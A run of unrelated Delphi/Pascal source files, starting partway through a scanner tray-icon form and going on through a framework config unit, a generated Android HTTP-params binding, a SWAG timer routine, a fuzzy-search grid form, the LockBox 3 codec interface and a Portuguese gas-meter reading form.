FScan.OnJobStart := self.ScanJobStart; FScan.OnJobComplete := self.ScanJobEnd; EnableUIEvents := true; end; procedure TUII2XScanTray.FormDestroy(Sender: TObject); begin self.TrayIcon.Visible := false; FreeAndNil( FReg ); FreeAndNil( FFileDir ); FreeAndNil( FStrUtil ); FreeAndNil( FScan ); if ( FTWAINSel <> nil ) then FreeAndNil( FTWAINSel ); end; procedure TUII2XScanTray.FormHide(Sender: TObject); begin self.SaveUIState(); end; procedure TUII2XScanTray.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); begin self.SaveUIState(); end; procedure TUII2XScanTray.FormResize(Sender: TObject); begin self.SaveUIState(); end; function TUII2XScanTray.getTWAINSel: TUITWAINDeviceSelect; begin if ( FTWAINSel = nil ) then FTWAINSel := TUITWAINDeviceSelect.Create( self ); Result := FTWAINSel; end; procedure TUII2XScanTray.MaximizeApp(Sender: TObject); var k: integer; begin self.RestoreUIState(); self.pmnuMinMax.Tag := APP_NORMAL; self.pmnuMinMax.Caption := 'Minimize'; for k := Screen.FormCount - 1 downto 0 do begin Screen.Forms[k].Show; end; self.WindowState := wsNormal; application.Restore; application.BringToFront; end; procedure TUII2XScanTray.pmnuCenterClick(Sender: TObject); begin Left:=(Screen.Width-Width) div 2; Top:=(Screen.Height-Height) div 2; end; procedure TUII2XScanTray.pmnuCloseClick(Sender: TObject); begin PopupClose := true; AppCache.ApplyChanges; self.Close; end; procedure TUII2XScanTray.pmnuMinMaxClick(Sender: TObject); Begin ToggleApp( Sender ); End; procedure TUII2XScanTray.RestoreUIState; begin self.Left := FReg.Get( KEY_PREFIX + 'Left', self.Left ); self.Top := FReg.Get( KEY_PREFIX + 'Top', self.Top ); self.Height := FReg.Get( KEY_PREFIX + 'Height', self.Height ); self.Width := FReg.Get( KEY_PREFIX + 'Width', self.Width ); self.WindowState := TWindowState( FReg.Get( KEY_PREFIX + 'WindowState', integer(wsNormal) ) ); //if ( self.WindowState = wsMinimized ) then // self.WindowState := wsNormal; end; procedure TUII2XScanTray.SaveUIState; begin if ( Self.EnableUIEvents ) then begin FReg[ KEY_PREFIX + 'WindowState' ] := integer( self.WindowState ); FReg[ KEY_PREFIX + 'Left' ] := self.Left; FReg[ KEY_PREFIX + 'Top' ] := self.Top; FReg[ KEY_PREFIX + 'Height' ] := self.Height; FReg[ KEY_PREFIX + 'Width' ] := self.Width; end; end; procedure TUII2XScanTray.ScanJobEnd( Sender: TObject ); begin self.TrayIcon.IconIndex := Integer( icGreen ); self.TrayMsg( 'Scan Job has completed... Image Count: ' + IntToStr(FImageCount) ); end; procedure TUII2XScanTray.ScanJobStart( Sender: TObject ); begin self.TrayIcon.IconIndex := Integer( icOrange ); self.TrayMsg( 'Scan Job has started...' ); FImageCount := 0; end; procedure TUII2XScanTray.TrayIconDblClick(Sender: TObject); Begin ToggleApp( Sender ); End; procedure TUII2XScanTray.ToggleApp(Sender: TObject); Begin if ( self.pmnuMinMax.Tag = APP_NORMAL ) then MinimizeApp( Sender ) else MaximizeApp( Sender ); End; procedure TUII2XScanTray.TrayMsg( const MsgToDisplay : string ); Begin self.TrayIcon.BalloonHint := MsgToDisplay; self.TrayIcon.ShowBalloonHint; End; procedure TUII2XScanTray.txtOutputFolderChange(Sender: TObject); begin if ( self.EnableUIEvents ) then AppCache.OutputFolder := self.txtOutputFolder.Text; end; procedure TUII2XScanTray.txtOutputFolderDblClick(Sender: TObject); begin if ( DirectoryExists( txtOutputFolder.Text ) ) then ShellExecute(Handle, 'open', pchar( txtOutputFolder.Text ), nil,nil,SW_SHOWNORMAL); end; procedure TUII2XScanTray.txtSubPathChange(Sender: TObject); begin if ( self.EnableUIEvents ) then AppCache.SubPath := self.txtSubPath.Text; end; procedure TUII2XScanTray.txtSubPathDblClick(Sender: TObject); var sPath : string; begin sPath := self.FFileDir.Slash( txtOutputFolder.Text ) + txtSubPath.Text; if ( DirectoryExists( sPath ) ) then ShellExecute(Handle, 'open', pchar( sPath ), nil,nil,SW_SHOWNORMAL); end; END.
unit uConfig; interface uses DBMySql, DBSQLite, DBMSSQL, DBMSSQL12, DBOracle; type TDB = TDBSQLite; // TDBMySql,TDBSQLite,TDBMSSQL,TDBMSSQL12(2012版本以上),TDBOracle const db_type = 'SQLite'; // MYSQL,SQLite,MSSQL,ORACLE db_start = true; // 启用数据库 template = 'view'; // 模板根目录 template_type = '.html'; // 模板文件类型 session_start = true; // 启用session session_timer = 0; // session过期时间分钟 0 不过期 config = 'config.json'; // 配置文件地址 mime = 'mime.json'; // mime配置文件地址 open_log = true; // 开启日志;open_debug=true并开启日志将在UI显示 open_cache = true; // 开启缓存模式open_debug=false时有效 open_interceptor = true; // 开启拦截器 default_charset = 'utf-8'; // 字符集 password_key = ''; // 配置文件秘钥设置,为空时不启用秘钥,结合加密工具使用. open_debug = false; // 开发者模式缓存功能将会失效,开启前先清理浏览器缓存 implementation end.
// // Generated by JavaToPas v1.4 20140515 - 181021 //////////////////////////////////////////////////////////////////////////////// unit org.apache.http.params.DefaultedHttpParams; interface uses AndroidAPI.JNIBridge, Androidapi.JNI.JavaTypes, org.apache.http.params.HttpParams; type JDefaultedHttpParams = interface; JDefaultedHttpParamsClass = interface(JObjectClass) ['{42205263-6CC6-435E-9407-72FA209F55EB}'] function copy : JHttpParams; cdecl; // ()Lorg/apache/http/params/HttpParams; A: $1 function getDefaults : JHttpParams; cdecl; // ()Lorg/apache/http/params/HttpParams; A: $1 function getParameter(&name : JString) : JObject; cdecl; // (Ljava/lang/String;)Ljava/lang/Object; A: $1 function init(local : JHttpParams; defaults : JHttpParams) : JDefaultedHttpParams; cdecl;// (Lorg/apache/http/params/HttpParams;Lorg/apache/http/params/HttpParams;)V A: $1 function removeParameter(&name : JString) : boolean; cdecl; // (Ljava/lang/String;)Z A: $1 function setParameter(&name : JString; value : JObject) : JHttpParams; cdecl;// (Ljava/lang/String;Ljava/lang/Object;)Lorg/apache/http/params/HttpParams; A: $1 end; [JavaSignature('org/apache/http/params/DefaultedHttpParams')] JDefaultedHttpParams = interface(JObject) ['{179ADC99-B087-4F31-99B1-52043885082F}'] function copy : JHttpParams; cdecl; // ()Lorg/apache/http/params/HttpParams; A: $1 function getDefaults : JHttpParams; cdecl; // ()Lorg/apache/http/params/HttpParams; A: $1 function getParameter(&name : JString) : JObject; cdecl; // (Ljava/lang/String;)Ljava/lang/Object; A: $1 function removeParameter(&name : JString) : boolean; cdecl; // (Ljava/lang/String;)Z A: $1 function setParameter(&name : JString; value : JObject) : JHttpParams; cdecl;// (Ljava/lang/String;Ljava/lang/Object;)Lorg/apache/http/params/HttpParams; A: $1 end; TJDefaultedHttpParams = class(TJavaGenericImport<JDefaultedHttpParamsClass, JDefaultedHttpParams>) end; implementation end.
(* Category: SWAG Title: TIMER/RESOLUTION ROUTINES Original name: 0012.PAS Description: Hi-Res Timer Author: MARTIN RICHARDSON Date: 09-26-93 09:30 *) {***************************************************************************** * Function ...... Timer * Purpose ....... Returns the number of seconds since midnight * Parameters .... None * Returns ....... Number of seconds since midnight to the 100th decimial place * Notes ......... None * Author ........ Martin Richardson * Date .......... May 13, 1992 *****************************************************************************} uses dos; FUNCTION Timer : REAL; VAR hour, minute, second, sec100 : WORD; BEGIN GETTIME(hour, minute, second, sec100); Timer := ((hour*60*60) + (minute*60) + (second) + (sec100 * 0.01)) END; BEGIN WriteLn('Seconds since midnight: ',Timer:10:2); Write('Press Enter...'); ReadLn; WriteLn('Now: ',Timer:10:2); END.
unit UnitMatch; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, Data.DB, Vcl.Grids, Vcl.DBGrids, System.Generics.Collections, Vcl.ComCtrls, Data.Win.ADODB; type TFormFuzzy = class(TForm) DataSource1: TDataSource; Panel1: TPanel; Panel2: TPanel; lblSearch: TLabel; Chk_CaseSensitive: TCheckBox; Edt_Search: TEdit; Chk_FuzzyMatch: TCheckBox; DBGrid1: TDBGrid; ADOConnection1: TADOConnection; ADOTable1: TADOTable; Timer1: TTimer; procedure Edt_SearchChange(Sender: TObject); procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure FormCreate(Sender: TObject); procedure DBGrid1DrawColumnCell(Sender: TObject; const Rect: TRect; DataCol: Integer; Column: TColumn; State: TGridDrawState); procedure ADOTable1FilterRecord(DataSet: TDataSet; var Accept: Boolean); private function XPos(APattern, AStr: string; ACaseSensitive: Boolean): Integer; function FuzzyMatchStr(const Pattern, Str: string; MatchedIndexes: TList; CaseSensitive: Boolean): Boolean; function LowChar(AChar: Char): Char; inline; procedure HighlightCellText(AGrid :TDbGrid; const ARect : TRect; Field : TField; MatchedIndexes : TList; AState:TGridDrawState ; BkColor : TColor = clYellow; SelectedBkColor : TColor = clGray); procedure HighlightCellTextFull(AGrid :TDbGrid; const ARect : TRect; Field : TField; FilterText : string; AState:TGridDrawState ; BkColor : TColor = clYellow; SelectedBkColor : TColor = clGray); public { Public declarations } end; var FormFuzzy: TFormFuzzy; implementation {$R *.DFM} procedure TFormFuzzy.ADOTable1FilterRecord(DataSet: TDataSet; var Accept: Boolean); begin if Chk_FuzzyMatch.Checked then Accept := FuzzyMatchStr(Edt_Search.Text, DataSet.FieldByName('Name').AsString, nil, Chk_CaseSensitive.Checked) else Accept := XPos(Edt_Search.Text, DataSet.FieldByName('Name').AsString, Chk_CaseSensitive.Checked) > 0; // Accept := Pos(AnsiLowerCase(Edt_Search.Text), AnsiLowerCase(DataSet.FieldByName('Name').AsString)) > 0; end; procedure TFormFuzzy.DBGrid1DrawColumnCell(Sender: TObject; const Rect: TRect; DataCol: Integer; Column: TColumn; State: TGridDrawState); var LvPattern, LvValue: string; LvMatchedIndexes: TList; begin if not Assigned(Column.Field) then Exit; if not Chk_FuzzyMatch.Checked then begin LvPattern := Trim(Edt_Search.Text); HighlightCellTextFull(TDBGrid(Sender),Rect, Column.Field, LvPattern, State); Exit; end; DBGrid1.Canvas.Font.Color := clBlack; LvMatchedIndexes := TList.Create; try if (gdFocused in State) then begin DBGrid1.Canvas.Brush.Color := clBlack; DBGrid1.Canvas.Font.Color := clWhite; end else if Column.Field.DataType in [ftString, ftInteger, ftFloat, ftCurrency, ftMemo, ftWideString, ftLargeint, ftWideMemo, ftLongWord] then begin LvPattern := Trim(Edt_Search.Text); LvValue := Column.Field.AsString; if FuzzyMatchStr(LvPattern, LvValue, LvMatchedIndexes, Chk_CaseSensitive.Checked) then HighlightCellText(TDBGrid(Sender),Rect, Column.Field, LvMatchedIndexes, State); end else DBGrid1.Canvas.Brush.Color := clWhite; finally LvMatchedIndexes.Free; end; end; procedure TFormFuzzy.Edt_SearchChange(Sender: TObject); begin if Trim(Edt_Search.Text).IsEmpty then ADOTable1.Filtered := False else begin ADOTable1.Filtered := False; ADOTable1.Filtered := True; end; DBGrid1.Repaint; end; procedure TFormFuzzy.FormCreate(Sender: TObject); var LvDataSourcePath: string; begin LvDataSourcePath := ExtractFilePath(Application.ExeName); ADOConnection1.ConnectionString := 'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=' + LvDataSourcePath + ';Extended Properties="text;HDR=No;FMT=Delimited";Persist Security Info=False'; ADOTable1.TableName := 'Sample.csv'; ADOTable1.Open; end; procedure TFormFuzzy.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if Ord(key) = 27 then Close; end; function TFormFuzzy.FuzzyMatchStr(const Pattern: string; const Str: string; MatchedIndexes: TList; CaseSensitive: Boolean): Boolean; var PIdx, SIdx: Integer; begin Result := False; if (Pattern = '') or (Str = '') then Exit; PIdx := 1; SIdx := 1; if MatchedIndexes <> nil then MatchedIndexes.Clear; if CaseSensitive then begin while (PIdx <= Length(Pattern)) and (SIdx <= Length(Str)) do begin if Pattern[PIdx] = Str[SIdx] then begin Inc(PIdx); if MatchedIndexes <> nil then MatchedIndexes.Add(Pointer(SIdx)); end; Inc(SIdx); end; end else begin while (PIdx <= Length(Pattern)) and (SIdx <= Length(Str)) do begin if LowChar(Pattern[PIdx]) = LowChar(Str[SIdx]) then begin Inc(PIdx); if MatchedIndexes <> nil then MatchedIndexes.Add(Pointer(SIdx)); end; Inc(SIdx); end; end; Result := PIdx > Length(Pattern); end; function TFormFuzzy.LowChar(AChar: Char): Char; begin if AChar in ['A'..'Z'] then Result := Chr(Ord(AChar) + 32) else Result := AChar; end; function TFormFuzzy.XPos(APattern, AStr: string; ACaseSensitive: Boolean): Integer; var PIdx, SIdx: Integer; begin Result := 0; if (APattern.Trim.IsEmpty) or (AStr.Trim.IsEmpty) then Exit; if ACaseSensitive then begin PIdx := 1; SIdx := 1; while (PIdx <= Length(APattern)) and (SIdx <= Length(AStr)) do begin if APattern[PIdx] = AStr[SIdx] then begin Inc(PIdx); Result := SIdx; Break; end; Inc(SIdx); end; end else Result := Pos(LowerCase(APattern), LowerCase(AStr)); end; procedure TFormFuzzy.HighlightCellText(AGrid :TDbGrid; const ARect : TRect; Field : TField; MatchedIndexes : TList; AState:TGridDrawState ; BkColor : TColor = clYellow; SelectedBkColor : TColor = clGray); var LvRectArray: array of TRect; I, LvPosition, LvOffset: Integer; LvHlText, LvDisplayText: string; begin LvDisplayText := Field.AsString; SetLength(LvRectArray, MatchedIndexes.Count); for I := 0 to Pred(MatchedIndexes.Count) do begin LvPosition := Integer(MatchedIndexes.Items[I]); if LvPosition > 0 then begin case Field.Alignment of taLeftJustify: LvRectArray[I].Left := ARect.Left + AGrid.Canvas.TextWidth(Copy(LvDisplayText, 1, LvPosition - 1)) + 1; taRightJustify: begin LvOffset := AGrid.Canvas.TextWidth(Copy(LvDisplayText, 1, 1)) - 1; LvRectArray[I].Left := (ARect.Right - AGrid.Canvas.TextWidth(LvDisplayText) - LvOffset) + AGrid.Canvas.TextWidth(Copy(LvDisplayText, 1, LvPosition - 1)); end; taCenter: begin LvOffset := ((ARect.Right - ARect.Left) div 2) - (AGrid.Canvas.TextWidth(LvDisplayText) div 2) - (AGrid.Canvas.TextWidth(Copy(LvDisplayText, 1, 1)) - 2); LvRectArray[I].Left := (ARect.Right - AGrid.Canvas.TextWidth(LvDisplayText) - LvOffset) + AGrid.Canvas.TextWidth(Copy(LvDisplayText, 1, LvPosition - 1)); end; end; LvRectArray[I].Top := ARect.Top + 1; LvRectArray[I].Right := LvRectArray[I].Left + AGrid.Canvas.TextWidth(Copy(LvDisplayText, LvPosition, length(LvDisplayText[LvPosition]))) + 1 ; LvRectArray[I].Bottom := ARect.Bottom - 1; if LvRectArray[I].Right > ARect.Right then //check for limitation of the cell LvRectArray[I].Right := ARect.Right; if gdSelected in AState then // Setup the color and draw the rectangle in a width of the matching text AGrid.Canvas.Brush.Color := SelectedBkColor else AGrid.Canvas.Brush.Color := BkColor; AGrid.Canvas.FillRect(LvRectArray[I]); LvHlText := Copy(LvDisplayText,LvPosition, length(LvDisplayText[LvPosition])); AGrid.Canvas.TextRect(LvRectArray[I], LvRectArray[I].Left + 1, LvRectArray[I].Top + 1, LvHlText); end; end; end; procedure TFormFuzzy.HighlightCellTextFull(AGrid: TDbGrid; const ARect: TRect; Field: TField; FilterText: string; AState: TGridDrawState ; BkColor : TColor = clYellow; SelectedBkColor : TColor = clGray); var LvHlRect: TRect; LvPosition, LvOffset: Integer; LvHlText, LvDisplayText: string; begin LvDisplayText := Field.AsString; LvPosition := Pos(AnsiLowerCase(FilterText), AnsiLowerCase(LvDisplayText)); if LvPosition > 0 then begin case Field.Alignment of taLeftJustify: LvHlRect.Left := ARect.Left + AGrid.Canvas.TextWidth(Copy(LvDisplayText, 1, LvPosition - 1)) + 1; taRightJustify: begin LvOffset := AGrid.Canvas.TextWidth(Copy(LvDisplayText, 1,1)) - 1; LvHlRect.Left := (ARect.Right - AGrid.Canvas.TextWidth(LvDisplayText) - LvOffset) + AGrid.Canvas.TextWidth(Copy(LvDisplayText, 1, LvPosition - 1)); end; taCenter: begin LvOffset := ((ARect.Right - ARect.Left) div 2) - (AGrid.Canvas.TextWidth(LvDisplayText) div 2) - (AGrid.Canvas.TextWidth(Copy(LvDisplayText, 1,1)) - 2); LvHlRect.Left := (ARect.Right - AGrid.Canvas.TextWidth(LvDisplayText) - LvOffset) + AGrid.Canvas.TextWidth(Copy(LvDisplayText, 1, LvPosition - 1)); end; end; LvHlRect.Top := ARect.Top + 1; LvHlRect.Right := LvHlRect.Left + AGrid.Canvas.TextWidth(Copy(LvDisplayText, LvPosition, Length(FilterText))) + 1 ; LvHlRect.Bottom := ARect.Bottom - 1; if LvHlRect.Right > ARect.Right then //check for limit of the cell LvHlRect.Right := ARect.Right; if gdSelected in AState then // setup the color and draw the rectangle in a width of the matching text AGrid.Canvas.Brush.Color := SelectedBkColor else AGrid.Canvas.Brush.Color := BkColor; AGrid.Canvas.FillRect(LvHlRect); LvHlText := Copy(LvDisplayText,LvPosition, Length(FilterText)); AGrid.Canvas.TextRect(LvHlRect,LvHlRect.Left + 1, LvHlRect.Top + 1, LvHlText); end; end; end.
{* ***** BEGIN LICENSE BLOCK ***** Copyright 2010 Sean B. Durkin This file is part of TurboPower LockBox 3. TurboPower LockBox 3 is free software being offered under a dual licensing scheme: LGPL3 or MPL1.1. The contents of this file are subject to the Mozilla Public License (MPL) Version 1.1 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.mozilla.org/MPL/ Alternatively, you may redistribute it and/or modify it under the terms of the GNU Lesser General Public License (LGPL) as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. You should have received a copy of the Lesser GNU General Public License along with TurboPower LockBox 3. If not, see <http://www.gnu.org/licenses/>. TurboPower LockBox is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. In relation to LGPL, see the GNU Lesser General Public License for more details. In relation to MPL, see the MPL License for the specific language governing rights and limitations under the License. The Initial Developer of the Original Code for TurboPower LockBox version 2 and earlier was TurboPower Software. * ***** END LICENSE BLOCK ***** *} unit uTPLb_CodecIntf; interface uses SysUtils, Classes, uTPLb_StreamCipher, uTPLb_BlockCipher, uTPLb_CryptographicLibrary; type TCodecMode = (cmUnitialized, cmIdle, cmEncrypting, cmDecrypting); TOnEncDecProgress = function ( Sender: TObject; CountBytesProcessed: int64): boolean of object; TGenerateAsymetricKeyPairProgress = procedure ( Sender: TObject; CountPrimalityTests: integer; var doAbort: boolean) of object; ICodec = interface ['{48B3116A-5681-4E79-9013-8EC89BAC5B35}'] procedure SetStreamCipher( const Value: IStreamCipher); procedure SetBlockCipher ( const Value: IBlockCipher); procedure SetChainMode ( const Value: IBlockChainingModel); function GetMode: TCodecMode; function GetStreamCipher: IStreamCipher; function GetBlockCipher : IBlockCipher; function GetChainMode : IBlockChainingModel; function GetOnProgress : TOnEncDecProgress; procedure SetOnProgress( Value: TOnEncDecProgress); function GetAsymetricKeySizeInBits: cardinal; procedure SetAsymetricKeySizeInBits( value: cardinal); function GetAsymGenProgressEvent: TGenerateAsymetricKeyPairProgress; procedure SetAsymGenProgressEvent( Value: TGenerateAsymetricKeyPairProgress); function GetKey: TSymetricKey; function GetCipherDisplayName( Lib: TCryptographicLibrary): string; procedure Init(const Key: string; AEncoding: TEncoding); procedure SaveKeyToStream( Store: TStream); procedure InitFromStream( Store: TStream); procedure InitFromKey( Key: TSymetricKey); // Transfers ownership. procedure Reset; procedure Burn( doIncludeBurnKey: boolean); // Asymetric support function isAsymetric: boolean; procedure InitFromGeneratedAsymetricKeyPair; procedure Sign( Document, Signature: TStream; ProgressSender: TObject; ProgressEvent: TOnEncDecProgress; SigningKeys_PrivatePart: TObject; // Must be uTPLb_Asymetric.TAsymtricKeyPart var wasAborted: boolean); function VerifySignature( Document, Signature: TStream; ProgressSender: TObject; ProgressEvent: TOnEncDecProgress; SigningKeys_PublicPart: TObject; // Must be uTPLb_Asymetric.TAsymtricKeyPart var wasAborted: boolean): boolean; procedure Begin_EncryptMemory( CipherText{out}: TStream); procedure EncryptMemory(const Plaintext: TBytes; PlaintextLen: Integer); procedure End_EncryptMemory; procedure Begin_DecryptMemory( PlainText{out}: TStream); procedure DecryptMemory( const CipherText{in}; CiphertextLen: integer); procedure End_DecryptMemory; procedure EncryptStream( Plaintext, CipherText: TStream); procedure DecryptStream( Plaintext, CipherText: TStream); procedure EncryptFile( const Plaintext_FileName, CipherText_FileName: string); procedure DecryptFile( const Plaintext_FileName, CipherText_FileName: string); procedure EncryptString(const Plaintext: string; var CipherText_Base64: string; AEncoding: TEncoding); procedure DecryptString(var Plaintext: string; const CipherText_Base64: string; AEncoding: TEncoding); procedure EncryptAnsiString(const Plaintext: string; var CipherText_Base64: string); procedure DecryptAnsiString(var Plaintext: string; const CipherText_Base64: string); function GetAborted: boolean; procedure SetAborted( Value: boolean); function GetAdvancedOptions2 : TSymetricEncryptionOptionSet; procedure SetAdvancedOptions2( Value: TSymetricEncryptionOptionSet); function GetOnSetIV: TSetMemStreamProc; procedure SetOnSetIV( Value: TSetMemStreamProc); property Mode: TCodecMode read GetMode; property Key: TSymetricKey read GetKey; property StreamCipher: IStreamCipher read GetStreamCipher write SetStreamCipher; property BlockCipher : IBlockCipher read GetBlockCipher write SetBlockCipher; property ChainMode : IBlockChainingModel read GetChainMode write SetChainMode; property OnProgress : TOnEncDecProgress read GetonProgress write SetOnProgress; property AsymetricKeySizeInBits: cardinal read GetAsymetricKeySizeInBits write SetAsymetricKeySizeInBits; property OnAsymGenProgress: TGenerateAsymetricKeyPairProgress read GetAsymGenProgressEvent write SetAsymGenProgressEvent; property isUserAborted: boolean read GetAborted write SetAborted; end; implementation end.
unit ULeituraGas; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Data.DB, Vcl.StdCtrls, Vcl.Mask, Datasnap.DBClient, Vcl.Grids, Vcl.DBGrids, Vcl.Buttons, Vcl.ExtCtrls, ULeituraGasVO, ULeituraGasController, UItensLeituraGasController, UItensLeituraGasVo, UTela, UUnidadeController, UEmpresaTrab, UUnidadeVo, Generics.Collections, UPrecoGasController, Biblioteca; type TFTelaCadastroLeituraGas = class(TForm) CDSLeitura: TClientDataSet; DSLeitura: TDataSource; CDSLeituraIDLEITURAGAS: TIntegerField; CDSLeituraDTLEITURA: TDateTimeField; CDSLeituraIDCONDOMINIO: TIntegerField; CDSItensLeitura: TClientDataSet; DSItensLeitura: TDataSource; CDSItensLeituraIDITENSLEITURAGAS: TIntegerField; CDSItensLeituraIDLEITURAGAS: TIntegerField; CDSItensLeituraIDUNIDADE: TIntegerField; CDSItensLeituraVLMEDIDO: TCurrencyField; CDSItensLeituraVLCALCULADO: TCurrencyField; CDSItensLeituraDTLEITURA: TDateTimeField; CDSItensLeituraDSUNIDADE: TStringField; Panel1: TPanel; BitBtnIncluirC: TBitBtn; BtnCancelarC: TBitBtn; GridLeitura: TDBGrid; BitBtnAltera: TBitBtn; Panel4: TPanel; GroupBox1: TGroupBox; Label2: TLabel; Label3: TLabel; Label5: TLabel; MaskEdit1: TMaskEdit; Edit2: TEdit; Edit3: TEdit; DBGrid2: TDBGrid; BitBtn5: TBitBtn; BitBtn6: TBitBtn; procedure BitBtnIncluirCClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure CDSItensLeituraVLMEDIDOChange(Sender: TField); procedure BitBtn1Click(Sender: TObject); procedure BitBtn2Click(Sender: TObject); procedure BitBtnAlteraClick(Sender: TObject); procedure BtnCancelarCClick(Sender: TObject); procedure MaskEdit1Exit(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); private { Private declarations } public { Public declarations } procedure AtualizaGrid; end; var FTelaCadastroLeituraGas: TFTelaCadastroLeituraGas; ControllerLeituraGas: TLeituraGasController; ControllerItensLeitura : TItensLeituraGasController; implementation {$R *.dfm} { TFTelaCadastroLeituraGas } { TFTelaCadastroLeituraGas } procedure TFTelaCadastroLeituraGas.AtualizaGrid; var LeituraController : TLeituraGasController; leitura : TObjectList<TLeituraGasVO>; i : integer; begin LeituraController := TLeituraGasController.Create; leitura := LeituraController.Consultar('idcondominio = '+ IntToStr(FormEmpresaTrAB.CodigoEmpLogada) + ' order by idleituragas '); CdsItensLeitura.EmptyDataSet; for I := 0 to leitura.Count - 1 do begin CDsItensLeitura.Append; CDSItensLeituraIDLEITURAGAS.AsInteger := Leitura[i].idLeituraGas; CDSItensLeituraDTLEITURA.AsDateTime := leitura[i].dtLeitura; CDsItensLeitura.Post; end; LeituraController.Free; end; procedure TFTelaCadastroLeituraGas.BitBtn1Click(Sender: TObject); var ItensLeituraGas : TObjectList<TItensLeituraGasVO>; item: TItensLeituraGasVO; leitura: TLeituraGAsVO; begin ItensLeituraGas := TObjectList<TItensLeituraGasvO>.Create(); CDSItensLeitura.First; while NOT CDSItensLeitura.Eof do begin item:= TItensLeituraGasVO.Create; if CDSItensLeituraIDUNIDADE.AsInteger > 0 then begin item.idUnidade:= CDSItensLeituraIDUNIDADE.AsInteger; if MaskEdit1.Text <> (' / / ') then item.dtLeitura:=StrToDate(MaskEdit1.Text); item.vlMedido := CDSItensLeituraVLMEDIDO.AsCurrency; item.vlCalculado:= CDSItensLeituraVLCALCULADO.AsCurrency; item.ValidarCamposObrigatorios; ItensLeituraGas.Add(item); end; CDSItensLeitura.Next; end; leitura:= TLeituraGasVO.Create; leitura.dtLeitura:= StrToDate(MaskEdit1.Text); leitura.idCondominio := FormEmpresaTrab.CodigoEmpLogada; leitura.ItensLeitura:= ItensLeituraGas; ControllerLeituraGas.Inserir(leitura); panel4.Visible := false; AtualizaGrid; end; procedure TFTelaCadastroLeituraGas.BitBtn2Click(Sender: TObject); begin Edit3.Text := FloatTOStr(FormEmpresaTRab.PrecoGas); Panel4.Visible :=false; AtualizaGrid; end; procedure TFTelaCadastroLeituraGas.BitBtnAlteraClick(Sender: TObject); var ItensLeituraController : TItensLeituraGasController; ItensALeitura : TObjectList<TItensLeituraGasVO>; i , t : integer; begin if CDSItensLeitura.IsEmpty then Application.MessageBox('Não existe registro selecionado.', 'Erro', MB_OK + MB_ICONERROR) else begin ItensLeituraController := TItensLeituraGasController.Create; t := CDSItensLeitura.FieldByName('IDLEITURAGAS').AsInteger; ItensALeitura := ItensLeituraController.Consultar('idleituragas = '+ IntToStr(t)); CdsItensLeitura.EmptyDataSet; for I := 0 to ItensALeitura.Count - 1 do begin CDsItensLeitura.Append; CDSItensLeituraIDUNIDADE.AsInteger := ItensALeitura[i].idUnidade; CDSItensLeituraDSUNIDADE.AsString := ItensALeitura[i].DsUnidade; CDSItensLeituraVLMEDIDO.AsCurrency := ItensAleitura[i].vlMedido; MaskEdit1.Text := DateToStr(ItensALeitura[i].dtLeitura); CDsItensLeitura.Post; end; Panel4.Visible := true; BitBtn5.Enabled := false; DBGrid2.Enabled := false; maskedit1.Enabled := false; ItensLeituraController.Free; end; end; procedure TFTelaCadastroLeituraGas.BitBtnIncluirCClick(Sender: TObject); var unidadeController : TUnidadeController; unidades : TObjectList<TUnidadeVO>; i : integer; begin UnidadeController := TUnidadeController.Create; Unidades := UnidadeController.Consultar('idcondominio = '+ IntToStr(FormEmpresaTrAB.CodigoEmpLogada)); CdsItensLeitura.EmptyDataSet; for I := 0 to Unidades.Count - 1 do begin CDsItensLeitura.Append; CDSItensLeituraIDUNIDADE.AsInteger := uNIDADES[i].idUnidade; CDSItensLeituraDSUNIDADE.AsString := Unidades[i].DsUnidade; CDsItensLeitura.Post; end; Panel4.Visible := true; MaskEdit1.Enabled := true; DBGrid2.Enabled := true; BitBtn5.Enabled := true; UnidadeController.Free; end; procedure TFTelaCadastroLeituraGas.BtnCancelarCClick(Sender: TObject); var ItensLeituraGas : TObjectList<TItensLeituraGasVO>; ItensLeituraController : TItensLeituraGasController; LeituraController : TLeituraGasCOntroller; item: TItensLeituraGasVO; leitura: TLeituraGAsVO; I: Integer; begin if CDSItensLeitura.IsEmpty then Application.MessageBox('Não existe registro selecionado.', 'Erro', MB_OK + MB_ICONERROR) else begin try if Application.MessageBox ('Deseja realmente excluir o registro selecionado?', 'Confirmação', MB_YESNO + MB_ICONQUESTION) = IDYES then begin ItensLeituraController := TItensLeituraGasController.Create; LeituraController := TLeituraGasCOntroller.Create; ItensLeituraGas := ItensLeituraController.Consultar('idleituragas = '+ IntToStr(CDSItensLeitura.FieldByName('IDLEITURAGAS').AsInteger)); for I := 0 to ItensLeituraGas.Count-1 do begin ControllerItensLeitura.Excluir(ItensLeituraGas[i]); end; leitura := LeituraController.ConsultarPorId(CDSItensLeitura.FieldByName('IDLEITURAGAS').AsInteger); ControllerLeituraGas.Excluir(leitura); LeituraController.Free; ItensLeituraController.Free; end; except raise Exception.Create('Para excluir a leitura, deverá ser excluido o título a receber!'); end; AtualizaGrid; end; end; procedure TFTelaCadastroLeituraGas.CDSItensLeituraVLMEDIDOChange( Sender: TField); begin CDSItensLeituraVLCALCULADO.AsCurrency := CDSItensLeituraVLMEDIDO.AsCurrency * StrToCurr(Edit3.Text); end; procedure TFTelaCadastroLeituraGas.FormClose(Sender: TObject; var Action: TCloseAction); begin FreeAndNil(ControllerLeituraGas); FreeAndNil(ControllerItensLeitura); end; procedure TFTelaCadastroLeituraGas.FormCreate(Sender: TObject); begin ControllerLeituraGas:= TLeituraGasController.Create; ControllerItensLeitura := TItensLeituraGasController.Create; Edit3.Text := FloatTOStr(FormEmpresaTRab.PrecoGas); Panel4.Visible :=false; AtualizaGrid; end; procedure TFTelaCadastroLeituraGas.MaskEdit1Exit(Sender: TObject); begin EventoValidaData(sender); end; end.
